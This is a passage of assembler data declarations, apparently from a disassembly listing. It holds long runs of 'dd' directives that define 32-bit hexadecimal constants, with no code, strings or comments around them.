29D29E23h, 5541C024h, 4C6F6816h, 1B9314A3h, 9CEF58E5h dd 0EBB9FCDDh, 0C0BE0C76h, 129E6EC1h, 47C4328Bh, 0AD68337h dd 2C2F1914h, 906D66DCh, 0B7B190CEh, 7F048F7Ch, 6283103Ch dd 9A8DA85Fh, 713FBF59h, 47606D80h, 0BCBF80F8h, 0CF4ABA79h dd 943D73F4h, 0B3CAC63Dh, 658E0870h, 0C7F1AFE2h, 0DB4FA8A7h dd 0D58E2257h, 13E51A93h, 0D0CC1335h, 82FBAA42h, 10946462h dd 430A3D60h, 46BB72F7h, 0B8F86396h, 5D9B6EFFh, 29BD5949h dd 56C8B8Ch, 31847h, 7811F02Dh, 2AFB38C6h, 45CEDE5Ah, 8BEA4734h dd 0EEB04EAAh, 291C0B60h, 0C6AC1620h, 0B9BAF2B8h, 23384CD2h dd 6BC4404h, 87E1E89Bh, 0BCA7C18Ch, 0BA3D7223h, 8784CA48h dd 8856E135h, 0B3A482D7h, 0C937E510h, 4BB122EBh, 780A8FD4h dd 8CDEC892h, 0E40EE342h, 0EB7C259Dh, 0A0273342h, 1AB2C5F4h dd 4E16F08Ah, 3F37970Fh, 91B7E968h, 0F2A43F19h, 16B53BEBh dd 28EBC0B4h, 228C5450h, 0F6EF6EDCh, 0DC61C7C9h, 10138D30h dd 5E2799D9h, 0B5057690h, 19B4846Eh, 11DC3E58h, 37F6EE81h dd 0EA6EBEDAh, 44B8E762h, 0CA052C21h, 0ACDDA452h, 0AEDB751Dh dd 0DCD8602Bh, 95E5F384h, 0B9CFC249h, 8E183294h, 0E6057FD0h dd 5C15889Fh dd 3B188603h, 54E9971Ah, 87DC9AD4h, 6537FB7Ch, 0F2976C7Dh dd 2E145473h, 0AC766209h, 4135AEBFh, 0AE1D2249h, 3D0D8C39h dd 0B645BE1Dh, 0F57130E7h, 8B3681C7h, 0DC60D9FDh, 420D4FEFh dd 0BDF963E9h, 0C41338CEh, 0E5ED36Bh, 2ACD74D0h, 414C810Ch dd 8E67F4C6h, 0E7972384h, 8CFBAD95h, 72AB0DFh, 0BBCE0A75h dd 36EA8979h, 0FB1656D5h, 0A2070013h, 0C5D6DAF2h, 79539545h dd 0DB746353h, 0A52631E4h, 0C6F100BEh, 0B0133C92h, 9F91B77Dh dd 57676319h, 69231B09h, 550CE38Ah, 9D90F282h, 0F827F27Eh dd 78294B06h, 0A803C6A3h, 0EB17DF40h, 3C5701FEh, 750007BDh dd 42612D29h, 138369BBh, 10B31BA6h, 0ACA00D82h, 0B0CF5B93h dd 676C270Eh, 0E66523B2h, 9EAB3A2Dh, 7E0F654Ch, 4B6E75C0h dd 0B2DA0D68h, 0D9F0721h, 480ABD1h, 48580662h, 8AE1273Fh dd 86E6C826h, 99FB743Dh, 0B0539B8h, 5E65A55Dh, 0B799535Bh dd 0A7E014F7h, 257DED4Bh, 0AEC5F79Dh, 7CBF261Bh, 2925BA6Fh dd 44268BD6h, 0B39765AEh, 0E64443FCh, 0B189EA1Eh, 40D20595h dd 0E3AD3213h, 0B361E7D6h, 3673212h, 7E6D90D2h, 0B349ADF9h dd 4BB5C81Ah, 0D976FED0h, 273F9A80h, 6B66FC9Fh, 488A3FC7h dd 3F787DA4h, 6F2CDACAh, 528D50Bh, 5C9A7B9h, 5800C4D5h dd 0BE8751F9h, 0CC6FF3CFh, 0ADD73560h, 0C62E94A4h, 5E87D1A3h dd 0F4B33E8Bh, 0F7D69646h, 0E03167C6h, 5B04F5BBh, 8F1CD1E4h dd 0AFCFC92Ch, 91CCD1B2h, 100CCF44h, 0A5FCC5C8h, 0DD9E64CEh dd 2BB93030h, 0F6C31759h, 99444E30h, 0F2068556h, 2F206F26h dd 0A7E68487h, 2CD64F24h, 0A6DC4343h, 20173A68h, 0A4DD740Bh dd 77AC7F09h, 0F7E47B94h, 2BC6BD7h, 1D0AFD0Ah, 0E23563EAh dd 0E328EBF4h, 834BF8CDh, 0E423AC55h, 760617F2h, 67A51BDAh dd 0C930E8B3h, 20077B51h, 9320A1F0h, 6ABF0CADh, 66ABA760h dd 9D36983Ah, 407177CDh, 0C0F9B07Fh, 0EB3EBCEEh, 1FAA123h dd 55BA2842h, 155B5001h, 0BAF1EF4Ch, 0C40069C2h, 5E376209h dd 90C0C189h, 0BE06170Bh, 22EC0404h, 37D276F8h, 28AB60A8h dd 71AF7EB9h, 108D052Dh, 9A8DE5AAh, 67BD438Dh, 1BD6191Dh dd 0B801706h, 0E4890ACEh, 4D2E4E2Ch, 9622E2F7h, 39C141A9h dd 0DFB2ABADh, 84D7E3E5h, 0C521E1FBh, 0C799ABC1h, 66385255h dd 0D25054E3h, 8F2CB580h, 510A5F5Dh, 6AE79FBAh, 0A37743AFh dd 0E1E06861h, 5D6CDF1Bh, 8E6B1BCh, 815A3876h, 0A0CAAC5Ah dd 0ABD7A135h, 83B304CAh, 1F23921Eh, 3C6738BFh, 0B6D27764h dd 0E92DBB47h, 0CC52BAE7h, 396F10F9h, 434674D6h, 0E1E741E2h dd 5DDF8D3Bh, 35970A4Dh, 4EC46411h, 0D852B8E2h, 7AB09C8Dh dd 451DB373h, 0FF574181h, 8687FC72h, 0B791AE8h, 0F5360C3Dh dd 3F2F9D57h, 659696A2h, 21A7FCF9h, 0FBAF157Ch, 1EA6361Bh dd 0F3ADC8DAh, 8C133E1Ch, 11334F01h, 0AB99C5Ch, 71BD8673h dd 2FA6AE3Ch, 5CAB82B1h, 2AF9642Bh, 0F08CBD97h, 36F6F387h dd 0D6B91EE2h, 0CAB76242h, 0DABEAE7Fh, 0AFE01440h, 0B1403759h dd 23B9B90Dh, 9241B569h, 8C91C7C1h, 0D680D205h, 6AFDCB88h dd 0CDCB15C2h, 715F0ED0h, 0E29F3589h, 0B5C4E72h, 78111336h dd 781DDCECh, 4850C47Eh, 87326252h, 0B0E99B0Ch, 14CFC93Fh dd 585BE58Bh, 3E29C11Eh, 8F9AA951h, 0DF6A30F0h, 2A66E1CCh dd 0FFCBD8Eh, 0A5C7AD75h, 75BBB224h, 0CFF5D162h, 0A717ACA0h dd 0DD7946D0h, 10A834D3h, 3813B3CBh, 0B4E9B441h, 2947A6F3h dd 6C320DBFh, 9C144A68h, 2B46F4FAh, 31189500h, 0DD148F76h dd 53206FADh, 0D40B46AEh, 0BE3F4A34h, 0C28C855Dh, 719C8970h dd 0F361DAAFh, 68B8035Dh, 0B32800D5h, 9F164289h, 0CBB6A819h dd 0BFA34652h, 69C58D59h, 5FEB6882h, 0ACCBA30Ah, 32A8BE35h dd 184F27A0h, 33D2C06Ch, 12AA7500h, 6DD2B189h, 0CE2E5FB3h dd 546A20Ch, 16B8A532h, 1BFCF4EDh, 0B24C32F3h, 5162055Dh dd 1C719612h, 4ADC83B3h, 0DF20A8A0h, 0B528E682h, 17F4005Ah dd 3B696ACh, 0EB38C117h, 0D5EBCA1Eh, 0BA449DDFh, 0FF1D326Ah dd 47B9B182h, 178ABEBCh, 25BD2FDAh, 0C7BCF060h, 4CB18E20h dd 7D4FF104h, 0B0AC71ABh, 0DB11BA26h, 0AA7855AAh, 48D9C163h dd 0B115D461h, 5A0184DFh, 45969A5Dh, 25331A4Fh, 0C0A6BB31h dd 0FC85AB38h, 0BFDF5278h, 0FE97356Ch, 0EA24EBC8h, 0A449FF3Ch dd 0F8398CE4h, 5ED37E76h, 0E427AAB7h, 1035F8F9h, 0B9059454h dd 5580BCD7h, 66F7CFECh, 3DA237E3h, 4342CE02h, 2FDA7B09h dd 43AE833Ch, 6F31EEECh, 0F74A0430h, 0BB3E273Fh, 68D8DCE4h dd 6966E04Eh, 1030A722h, 2EF56F61h, 0C4C712C4h, 87A3369Ah dd 0F2CA6875h, 0FE241762h, 0DC9D8D70h, 0BA6D366h, 0C1BBE2B7h dd 1893C875h, 0C0F13559h, 84AF5194h, 0C59DF13h, 153B98A0h dd 0ABB8C6B7h, 9D4F1230h, 0F1B84731h, 0D3FC11A9h, 0AB5481DDh dd 888B1777h, 45BBB183h, 86E93C77h, 0D2342981h, 77672805h dd 0BF8DF0C7h, 98E9580Dh, 18B5C4A5h, 85065BD2h, 775D9E18h dd 0AACC28Dh, 914F86CFh, 0BED2D418h, 8A94DB3Bh, 2A38AA82h dd 0DF223CE5h, 3C89E3h, 0B8395646h, 27C62143h, 0A0C0AD6Ch dd 0EE7DBDA9h, 4A5A5F6Ah, 5C0E114Dh, 0A3A71F0Ah, 720442CFh dd 845A28Fh, 85DA790Dh, 0E7416ACh, 5433696Eh, 0B2F5F311h dd 0AD78CBDh, 41984BA1h, 81F71743h, 0B4F281ECh, 0EA47BDF9h dd 7118DAEEh, 2910364h, 9E6B8BF4h, 0CB3739A1h, 7D26EAAFh dd 8E12D14Bh, 0C8899CF6h, 0CC358F6Dh, 1887B85h, 676C16BEh dd 4E8A5BAFh, 0EA00B820h, 0D929B141h, 8352D16Dh, 0CC3FB86Ah dd 983CDF39h, 0D15B9F44h, 0F16F2473h, 68691BBCh, 5A8062B3h dd 5B3C9A40h, 70C0621Ah, 5983CBECh, 9E2FAA7Eh, 0EAC38668h dd 0FB9B79DFh, 0B4ACF71Bh, 0B096F19Ah, 550CBA18h, 838B0B70h dd 0B9F57DC6h, 1A3CCD18h, 9B9ABF0Dh, 4C07231Fh, 0A82216ABh dd 51CE76F6h, 0A8E6C156h, 2B7DBEADh, 0F52C1257h, 73773530h dd 0FED743EDh, 58B2953h, 0A9DD4B9h, 9E90FF4Ah, 834FE2Bh dd 7E51FEAFh, 2B82C9Bh, 0D65B7983h, 0E26C4254h, 0EE0CE9E0h dd 263DC884h, 2B628EC3h, 91BED5B3h, 0FC35B578h, 0FFBA2D00h dd 217530B2h, 3421BFEh, 3E87B2CAh, 3FA67387h, 63053D99h dd 0D45976ACh, 8CBE9296h, 3B886ADCh, 0D2B9490Bh, 0B3D99E87h dd 6A18FB56h, 28C6607Ch, 5015AF91h, 5C0FB3AEh, 0CDC16F38h dd 45597648h, 11AF832Ch, 0CAB15F93h, 4607A82Bh, 0DAF8D560h dd 298A7AC7h, 535559C7h, 1CB24519h, 8CCC8647h, 0F69DFA4Dh dd 0B1BFED94h, 261D3BAFh, 0DE6F4861h, 47A49B82h, 0ACF3163Ch dd 6D09AB0h, 93BFCD48h, 0B5C42BBBh, 981984EEh, 0FB5FE5DCh dd 927067BFh, 3C5761F0h, 273A5163h, 80981BF0h, 0F718783Eh dd 0A41381D5h, 36B16EEBh, 5C1F643Ah, 4884B2Eh, 84EFE060h dd 0EDA95FA1h, 0F6A5D8B3h, 0EAD76FD8h, 75050315h, 0EFA32DF2h dd 84F8CE2Eh, 8DEE3ADh, 72D9DF0Bh, 0D2873D7Fh, 0E9C60C72h dd 0ED0C0B62h, 4F1F1984h, 882336A8h, 2CCA3708h, 75008253h dd 0EC8E7DC8h, 3066B6F2h, 5643B260h, 69EC408Ah, 0CEF87710h dd 0AA36A9CDh, 9606DAE0h, 3845D59h, 9D015B50h, 8B86C80Ch dd 0CBB3E8FBh, 7A53DFA7h, 8D3DDA67h, 1F687BDh, 3E17FA9h dd 0A5D96E88h, 4B79D95Ch, 9399E89Fh, 41C23841h, 56DD2EDDh dd 3BE34879h, 17B774C4h, 7187A6BCh, 0B5ECB42h, 3C54433Bh dd 670BB4Dh, 0B207C606h dd 0F691180Bh, 92BB6AF0h, 34B03B0Ch, 3EC12E14h, 0B752EFF3h dd 0B3D0F728h, 0C4365472h, 2D6F60CCh, 416EDACAh, 0CB216996h dd 0DDB172E3h, 7CCC7615h, 5CA153D0h, 0A25893D5h, 0CF74204Dh dd 785D0D6Eh, 0F319FC2Ch, 0E2C6C960h, 0F52F1B93h, 0A35B1163h dd 0E55E2A4h, 0B690E6E8h, 0F72791F8h, 0C911B23Fh, 498E9557h dd 877A7B99h, 0E8C7FA0Ah, 20618481h, 373868C2h, 0FE90CEA7h dd 8C611F45h, 1181D8F4h, 7E8D4423h, 0AB50AD62h, 67F051ABh dd 0AC61FEDh, 0CB5ABFE9h, 5CB9EE97h, 0EE517DA4h, 8DC92C36h dd 40761D85h, 18BAEDA2h, 644B1EDAh, 14C9FB88h, 6E4D2ED5h dd 0AB71C48Ah, 0C5753583h, 86C8B7BAh, 0D52FD388h, 0DA30E6C6h dd 0F62DB532h, 8908F685h, 8E59F10Bh, 0ECF97694h, 14BB47C1h dd 0C4F573A1h, 1ED3F316h, 0BE0CA8A2h, 0EEC16153h, 0C955E09Eh dd 0BEAD2E36h, 2BD30B7h, 0A3BD30A0h, 2FB301A2h, 2D25FAB0h dd 26B09858h, 0D9311FB8h, 842208E7h, 3FC79ADAh, 0EB580D46h dd 0D69EE300h, 0E572CBD9h, 98AE031Eh, 0AC31282Eh, 0AA66B1B0h dd 0C77DCCA6h, 94C7E218h, 81CCE07Ah, 5B10E5A2h, 469F6EFEh dd 0EF05A88Bh, 0D0FD0211h, 9004419Fh, 0FB4D1B0Fh, 0DAF8289Eh dd 8B8C8C40h, 126B9123h, 0B3BF4FDDh, 0D31407E1h, 0AC82B790h dd 0FB07E16Fh, 8C28CBB7h, 93F4453h, 80BEB4AFh, 7CB7B145h dd 433F54C2h, 20E099A1h, 4BF5B75Bh, 539382BAh, 59A2FA5h dd 8ED23F24h, 2148337Ch, 89C1732Bh, 0DB3CA743h, 520E3F63h dd 5F00D8E3h, 4F8DC675h, 95DFBA8Ch, 0B659643h, 2CBD7168h dd 0C58A813h, 1A7B6B19h, 65DBCC85h, 4E8290CAh, 0FC2AAAF9h dd 0C09042C1h, 685A56E6h, 0B6BD42F6h, 2EA732BEh, 96E7AF5Bh dd 0EEF7A94Bh, 0D1A0C875h, 21EEF6A6h, 5760785h, 0D0399A8Eh dd 20871B16h, 0E1622BD5h, 0B787A3A9h, 928D7A9Dh, 0A76E87E0h dd 7EA93C5Ch, 0AD7B8491h, 5204D91Bh, 88A0F70Ch, 0C44AE44Bh dd 5EA36753h, 11DD72E0h, 623A5303h, 2FE66B15h, 55BCC19Ch dd 0ACDE8AAh, 0FFC96123h, 19DB84C0h, 6734F3B0h, 61A0C049h dd 771F7888h, 0CE52A2BCh, 0ABAEAFBDh, 0A91B9477h, 3C6AA7ADh dd 36381AF6h, 2688846Ah, 64313697h, 1523BDFEh, 0F20B1B4Ah dd 9D926736h, 0CB638E8Eh, 68ECB05Dh, 81ADD842h, 0CC68D6A9h dd 4DFC7484h, 0B99844D7h, 0C61C549Bh, 967929C1h, 87BA76F2h dd 7C4C8F44h, 22E8D545h, 0A235D7C9h, 21F403CDh, 34462A1Ah dd 0E19F9A5Fh, 0CAF7FED1h, 73DC82D3h, 4B77A615h, 0A1603777h dd 0E8F850BAh, 22C07D06h, 5C33B89Dh, 81625D9Fh, 0C35D1EDCh dd 38C10536h, 840AC5C0h, 0FF8FAA76h, 2929B10h, 3E4C012Ah dd 74D04123h, 0B78A5FEDh, 0DF2315A4h, 6D9AA23Dh, 0DBDEE3F7h dd 0A254CF52h, 23555107h, 55BFB7E8h, 3884638h, 0DC81876Fh dd 0ED0A2D7Eh, 0CEE436BDh, 0D61C2365h, 0FE0DBE35h, 70FE188Fh dd 91F896D8h, 275696A1h, 92B7D9D1h, 29681Bh, 372E281Fh dd 552C17DAh, 631E3CF2h, 0B6D721D1h, 7F34454Bh, 3B2D9E64h dd 0D52BFE46h, 0E019014Ah, 2DFBC21h, 0E101E03Eh, 0C74D164Dh dd 0BCA62507h, 0A740FF5Dh, 0E47EA24Dh, 8C219BCAh, 2679E984h dd 84D66DEDh, 509CE28Dh, 688B1BB1h, 0D184EA3Ch, 0E7608534h dd 0E6A55C30h, 7D8A412Ah, 33AC7C48h, 24D6A16Fh, 0F1B9A1B5h dd 4FE976C4h, 5E41D412h, 0BD330620h, 4E9E73DFh, 6AEEAF97h dd 7CBFF23h, 0F31E730Ah, 3B1F96C2h, 73DA5177h, 417CD053h dd 55539AAEh, 95408051h, 0D138E509h, 0CADD5F00h, 69F2575Dh dd 0DB3E7496h, 724E6FF6h, 38045DC6h, 900961B5h, 72D4618Ah dd 0A41CC654h, 8E64D4Ah, 9E0C3624h, 0D003FBA3h, 3E36037Bh dd 28B4FACCh, 4453DEA2h, 7F8E4A41h, 0BC97E269h, 0BCE85D98h dd 0BE6CA91Bh, 753BA264h, 733D776Fh, 1A135996h, 471F3DBCh dd 0C809E2F9h, 8BD7079h, 89BE4AA3h, 7B50EDA1h, 0C20C7E20h dd 167BC0B4h, 0B5DC12EFh, 175587h, 153D326h, 99E0509Bh dd 31408866h, 30A688D8h, 8E334D3Bh, 0B57FF153h, 0EF854BE7h dd 0C736B7E4h, 4D0FAC6Ch, 0AD75A763h, 26418A8h, 10A84F9Eh dd 779ACA84h, 0D8FA5FA5h, 64B0B693h, 0E375DAE9h, 22C377B2h dd 0C5900395h, 95DB7E64h, 0A6FEC071h, 0B56D54DAh, 0A6B16F5Ch dd 2137F2DDh, 0EAB75AB5h, 1F82C029h, 6EF2404Ch, 768AC3Bh dd 0F6FD1674h, 26A86508h, 80A7A648h, 0F67FC387h, 572227DAh dd 205162DFh, 1448BB7Eh, 7FB1EBBEh, 80D4E66Bh, 6235F3F1h dd 1A013D21h, 0CB8BF260h, 2321817h, 0B82D9540h, 0DB248469h dd 0BA9837C3h, 0BB90B337h, 0B9DF531Ch, 56298E3Ah, 62E3BE86h dd 0BCFD233Eh, 854001EEh, 0B2FAA644h, 0EF42DC43h, 0DDE95CCBh dd 56025AA6h, 0A56321C7h, 3C4CB823h, 0DB31626Dh, 12F5885h dd 46466E25h, 0D363AB3Eh, 1FC6E13Eh, 0F3FFA77Dh, 66F46EBh dd 8E187BF8h, 0BD578EFFh, 9730E442h, 66E899ADh, 0C554E183h dd 3FAC70B2h, 8A43B9FCh, 36DDF5C1h, 353E4E91h, 0F41CA855h dd 4827FEC3h, 0FB22705Bh, 99C2516Ch, 89D6FEF3h, 26E4B260h dd 0A431B95Dh, 0C6F5D00Bh, 0D8F3E5E2h, 0CF7EE9CEh, 0C8B84CDEh dd 0AE260463h, 0EF890779h, 89F67E55h, 1E424F95h, 0D7AC2E81h dd 0AEA64AE5h, 3E0E38Ah, 0DC163B21h, 2D959553h, 0BA71E394h dd 0F7B02FE9h, 88515EC9h, 0AFC6E030h, 48476A84h, 56AB90D6h dd 0DE875CE8h, 9605D890h, 0EEA5683Ah, 0D59FAF2Bh, 0AC6A5799h dd 0A05F2CAAh, 0A1B4F73Bh, 7E135C89h, 81DB2BC9h, 59E39100h dd 4EFA3829h, 0DF67562Ch, 0FB69787Ah, 0D2D37260h, 2764CF6Ah dd 0F8AD16C0h, 7123566Eh, 2F626F03h, 0EF164A85h, 0E3619407h dd 2313FD25h, 448079F7h, 83278864h, 0AFBFC34Ch, 3ACFF8FFh dd 0D45D29ADh, 0CFC4A5A3h, 0DE759AA6h, 9B9766F0h, 0C2BB8753h dd 33B79067h, 79BF56D5h, 0FD1EAE2Dh, 0D12C9DD3h, 0E80458B4h dd 2ACCD16Fh, 22899372h, 0DAA5DF73h, 5C669BC8h, 89BF1F3Dh dd 2C2B68FDh, 82F947DEh, 0A1BB6AF4h, 9B5131A4h, 0E403CA6h dd 1A07895h, 0C0A79D29h, 0A81484C9h, 4FE08A07h, 0D3B99680h dd 0BE2CC7FFh, 0CA5D0A11h, 0AF8D9C25h, 0E4BA30F7h, 9144086Ch dd 0EEC9B5A0h, 77429251h, 3CB048B7h, 52AA00E5h, 0CD0C665Bh dd 9AA0924Ah, 460F5920h, 60DC5AEEh, 343F3CD1h, 73D5C0E6h dd 6AD429D7h, 0B708FC34h, 4B6A58AEh, 0C17FEA04h, 0BABFFAEEh dd 3EDF7F6Fh, 148B1445h, 0F55C17A1h, 0D46FDF40h, 7D61EB82h dd 73C7C73Eh, 2149017Dh, 0E15B0433h, 0F5E5C08Ah, 0D98C69A4h dd 0EA9DE107h, 497B8D7Ah, 37E3787Ah, 8AA29801h, 0D5FC098h dd 0EA4824Dh, 65D23411h, 0A905AF63h, 0E46C6050h, 7BE353CBh dd 0FE08F0B6h, 0F9474h, 0D2E1BC32h, 9C564075h, 4F186457h dd 0DEFCCA4Ch, 2A34104h, 3D510227h, 0D475AF55h, 926A7D34h dd 0FC9E868Bh, 297E6FAh, 0FD8668CAh, 5DD48BF0h, 68D4B606h dd 3563ACE3h, 5B20DB5Fh, 702D467h, 8491DD27h, 0A213CE84h dd 0FC935927h, 5527C081h, 8DE8774Fh, 80E3B3E7h, 8AA2F3DEh dd 0D9BB8312h, 0A20AB16Ah, 1A06F1BEh, 62AFC684h, 60A2DFAFh dd 6963F19Ah, 9EBD0007h, 85B806E9h, 0E89DAA89h, 0CCD6ED7Fh dd 67E34133h, 33E14C84h, 0EC95B4ABh, 0A69CC801h, 4D86BE2Dh dd 82A86BACh, 0CE61DB2h, 0EFC1180Dh, 7E26F343h, 0E466C876h dd 0A9777E10h, 0A2F0F17Ch, 509270F4h, 5967EAD4h, 26A2AD34h dd 46F8CF15h, 9FD8FC0h dd 9E01A4C7h, 0C8ACDF45h, 0F226350Bh, 7F6FF471h, 4366418h dd 0D17583EEh, 0B32BBDD1h, 9D4CD43Ah, 4BDF2AC5h, 18AA3505h dd 921CC441h, 76D10F80h, 0A1DE331h, 0F9183DD1h, 636408ABh dd 9EAEC42Dh, 0D8DB850Ah, 2001BC34h, 0DE52A348h, 9F2E9693h dd 1088F2Fh, 5BA8E2D5h, 0E70DAE72h, 0BC88C61Eh, 27AAE9DDh dd 0B1B98D69h, 682A49F5h, 1660B99Ch, 1A4E4295h, 5D8C1386h dd 0ACBF16E7h, 6DFF4505h, 78D2B0AAh, 0EBD4CC43h, 0CBE17F75h dd 0FE1C8720h, 2CEC47A0h, 0B19AB93Ch, 0B4D51D41h, 4D14A3C5h dd 331C2CBBh, 0A39EAB6Ah, 0BAAB6834h, 3E375FB7h, 0E528A05Eh dd 290C1A12h, 0DE88C570h, 24FD77FCh, 0C4A64FE4h, 0A646C967h dd 0A27BE50Ah, 0EDEBF478h, 0DF4102FBh, 0C587D34Eh, 0E55343E3h dd 0DC912434h, 3164CC6h, 34C9083Ah, 40A3279Eh, 35D04149h dd 84F742FCh, 0A1E9B9E8h, 2FFACDD2h, 0EC7C2698h, 208DA75Eh dd 83280A45h, 8E28F662h, 237AB6E1h, 0B6406524h, 5ED9236h dd 0B68E9314h, 1901AE4Eh, 0B86D0491h, 1159B4A0h, 37ED347Bh dd 11BD71EEh, 1F5A0C0Ah, 263AFDE7h, 383F1BD8h, 9E000F8Eh dd 0D243711h, 8576E8A7h, 0A74331EBh, 0C350FCFAh, 3125A88Dh dd 8DC4D9B9h, 0A9092155h, 8A1A64D2h, 0F41C066h, 0FEB24575h dd 84001E97h, 0FD93A449h, 5165C70Dh, 3DD3D0C3h, 56FDA23Dh dd 775DEB9h, 5831846Ah, 60B50B87h, 0B45ECAE2h, 0B5306373h dd 8550304h, 0B93C84D6h, 0F1A13801h, 0D6079D10h, 3FFB79BFh dd 5AD52D9Bh, 144193F5h, 1D698B85h, 4480AEB8h, 0CE6B76FAh dd 5DD4F0B5h, 0D7DE38Ch, 7AD886B9h, 4D27E0ECh, 1D2860E9h dd 120687CDh, 4B96CBC3h, 2E42671h, 5E876FDDh, 3338C45Ah dd 9E2C3AF5h, 0C3A887C4h, 0B43EC2Dh, 18F1A7E7h, 0AC9DE00Ah dd 0B467CDC5h, 0B3F4B71h, 30A3ACAh, 348ABB99h, 5AEF7F41h dd 0DDC7C760h, 0C01B2FF3h, 0BFCE1B16h, 0AAA71B11h, 1BA2D082h dd 200051BCh, 0BC3443D0h, 8AA33C1h, 0BC3FD8E4h, 65A9D50Dh dd 35281953h, 89B9177Ch, 0E4B9E1Fh, 0F9EB93A8h, 0E661AF06h dd 73E39FBh, 9670E5DCh, 31979725h, 742355C3h, 0B33EA67Dh dd 0AEF59D39h, 6F19E3C2h, 35C0B9D8h, 9971FEB7h, 10C93901h dd 0A008AF09h, 141EDD68h, 25970E05h, 8A10752Bh, 857194Eh dd 51352B22h, 4B589286h, 0D19E5D37h, 9F97447h, 4276F717h dd 0D7018CCCh, 0B2D3B0E6h, 0CCA32684h, 0ED8658CCh, 0B71E4739h dd 97521991h, 0B3514645h, 0C0AF628Ah, 0A53E3B74h, 0D8B2A00h dd 958F0AC2h, 0D9FE46C7h, 0A2DFF851h, 0BED1726Dh, 0E659876h dd 99AE0105h, 0B21DD5A4h, 511F9F96h, 812A49D4h, 5BEB3404h dd 551D594Ah, 14713D8Eh, 36CC1148h, 0EE82EB90h, 9AA59C3Ch dd 0C63F55CEh, 0E741250Eh, 9E4BF3CAh, 479CF921h, 7DC73770h dd 6F646A22h, 1EE3F72Bh, 535865D5h, 7929550Fh, 1779CEBh dd 6C24C844h, 0E9B69946h, 0CFDEBE5Fh, 0F27DD5E6h, 0CC33E497h dd 7BA09DEBh, 6F8911B5h, 21AF92D6h, 7BC7417Ah, 0C60960A5h dd 9448654Ch, 0D93063F5h, 2D2E31ACh, 47407545h, 85FA9E3Eh dd 27A5F384h, 8F8E2550h, 0C42D9084h, 8F172164h, 39F391C0h dd 632F2115h, 77BAF391h, 984A7241h, 0D1985D06h, 7F5CE205h dd 3062CFB0h, 0C13D6CD4h, 0EE34895Fh, 782B889Eh, 2C24949Dh dd 0EB7EA016h, 0C49BCF57h, 10CF254Ah, 7BC68296h, 4816DF89h dd 0A42263DEh, 9A50DCEEh, 865C5348h, 935008B2h, 8827A77h dd 0D4347336h, 0AEBB2B5Fh, 71AB46E8h, 0D9C4E0DBh, 2AAB34F6h dd 1316FF78h, 0CB69B3CAh, 3C94FF09h, 70CB81F2h, 6746BEA8h dd 2556D549h, 765AD949h, 51252356h, 0CB6C14EFh, 30C2F216h dd 33A5E789h, 43C7705Dh, 0F7FB2326h, 0EBB69BAFh, 0F45F56A5h dd 0F39E7ACFh, 0AD09431h, 4E8236A4h, 323A35F7h, 0DDA220AEh dd 0B0E2153Fh, 0CE17E846h, 8A315E00h, 9B0911E4h, 8C81C040h dd 0BAD09920h, 0BCACF95h, 11DBA059h, 7F09197Bh, 4A87E115h dd 2D3056DBh, 0CF95A58Dh, 4AA1244Bh, 0A75BAA69h, 317F753Ah dd 125059Ch, 38A1E725h, 577D6368h, 13F7DB16h, 0C7AB73DDh dd 0CE659363h, 0FDCCEBA7h, 0AEDC8673h, 29B7D25Fh, 0E7BC7A6Eh dd 37DA52Fh, 11E23CE4h, 0AB5D71A8h, 0F03841BCh, 0FFB3893Ah dd 797693C3h, 6C8FFE6Ah, 22B1BD2Bh, 0CEB2989Dh, 4D2CD8FAh dd 85AC9D73h, 0C8B487h, 503FD0B4h, 1523BB4Fh, 0DE6B8A8Ah dd 0B6A4C8BDh, 2F431074h, 7C060B65h, 33A71BA7h, 0CFF701EFh dd 190495Ah, 1D22C221h, 0D1C1412Eh, 7CB20A27h, 0DC9E819Bh dd 110F7F5h, 1AC1FF88h, 0EF3AD97Dh, 60BEFD91h, 8068D816h dd 696D2A53h, 91AB510Dh, 0DC8716CEh, 0CC3274EEh, 429FFC04h dd 5F409579h, 0ED93BF7Ah, 2A68C750h, 4042B406h, 3CB83803h dd 6E5AF3A6h, 57D2820Ah, 7DFF95DAh, 0DD25ECF0h, 83A3ACDAh dd 0E29318F4h, 800B5934h, 2B0EF282h, 9F10298Ch, 0CAECBE7Ch dd 4C15A1Ch, 363F643h, 97B925BAh, 0C00B3FF6h, 27D96F40h dd 2280F56Eh, 0AA49D965h, 0AE14A17Ch, 815EF196h, 165E73E8h dd 631D110Ah, 38E83A57h, 0F7749B93h, 0D63D7C02h, 0D303FB00h dd 6CC8CA5Ch, 67AB37CAh, 0BCA26A63h, 0F2A7845Fh, 0C018EAE6h dd 0E6807A43h, 34AE7CF2h, 7B2843CEh, 35E126C7h, 0C5A299DBh dd 696B4B3Bh, 9245AE01h, 0A9C1D709h, 204268FEh, 7B34726Dh dd 0B1A6B8FBh, 39C897AAh, 9E6257F8h, 1B4565EDh, 43C5AC7Ah dd 389A4AB6h, 1DE46426h, 7D19023Dh, 2D6662DFh, 0CA7EEA76h dd 2CC00Ah, 0F90F537Ah, 784FD2F4h, 33C08DD3h, 511012E4h dd 271BE55Dh, 0E43BECEh, 98A9D9D8h, 636C0DA8h, 0EB85853Ch dd 5DE49199h, 935090D5h, 0DD555D94h, 6875EAD9h, 0A3AEA63Dh dd 6047E6E7h, 0DBE52239h, 16B1E33Eh, 5D7399BEh, 8556AED0h dd 6A84DB11h, 1F47363Ah, 0EBB976FBh, 6A9D4770h, 93203B85h dd 0C4392930h, 0C63397D7h, 0A1B7AA06h, 3F4F8046h, 0B5CE2F69h dd 0C87CCEBh, 88463D7Bh, 895B79D8h, 0D2FB0864h, 9571C7Ah dd 60DE1A4Bh, 0CCB8C52Fh, 0E3516CB9h, 473A44C7h, 976D3CB1h dd 9287BD7Eh, 5AC5A6B1h, 8F28D6E9h, 0ACE37D8Bh, 42DAE1Ch dd 3E46B623h, 4CDF8154h, 19505B6Fh, 0A493603Bh, 99D7B205h dd 550C3DB3h, 0EB4A5E1Fh, 99C2B33Fh, 52092F0Eh, 0F45F004Eh dd 0B73BDE55h, 0CDE73E35h, 5D9A3D50h, 5B3E715Dh, 0C0A89E9Dh dd 6184AB3Bh, 48622629h, 0ADDA09E6h, 131E4E9Bh, 0CF12A987h dd 40CAA154h, 1263445Fh, 0AC23FADDh, 0EFDBBC80h, 0D3B27088h dd 3B08C58Fh, 661E2170h, 0D4E8B190h, 0E4D586B2h, 0DB359505h dd 0E0866ED2h, 0BA5A308Bh, 2BC8526h, 2DC95ADh, 645BD294h dd 0C40D9FE7h, 0D1C9787Ch, 6F96C6C8h, 4012BB8Eh, 39B34F71h dd 15A24C4Bh, 0F354F7BDh, 3D2C4FCFh, 0FD819AADh, 494D62FBh dd 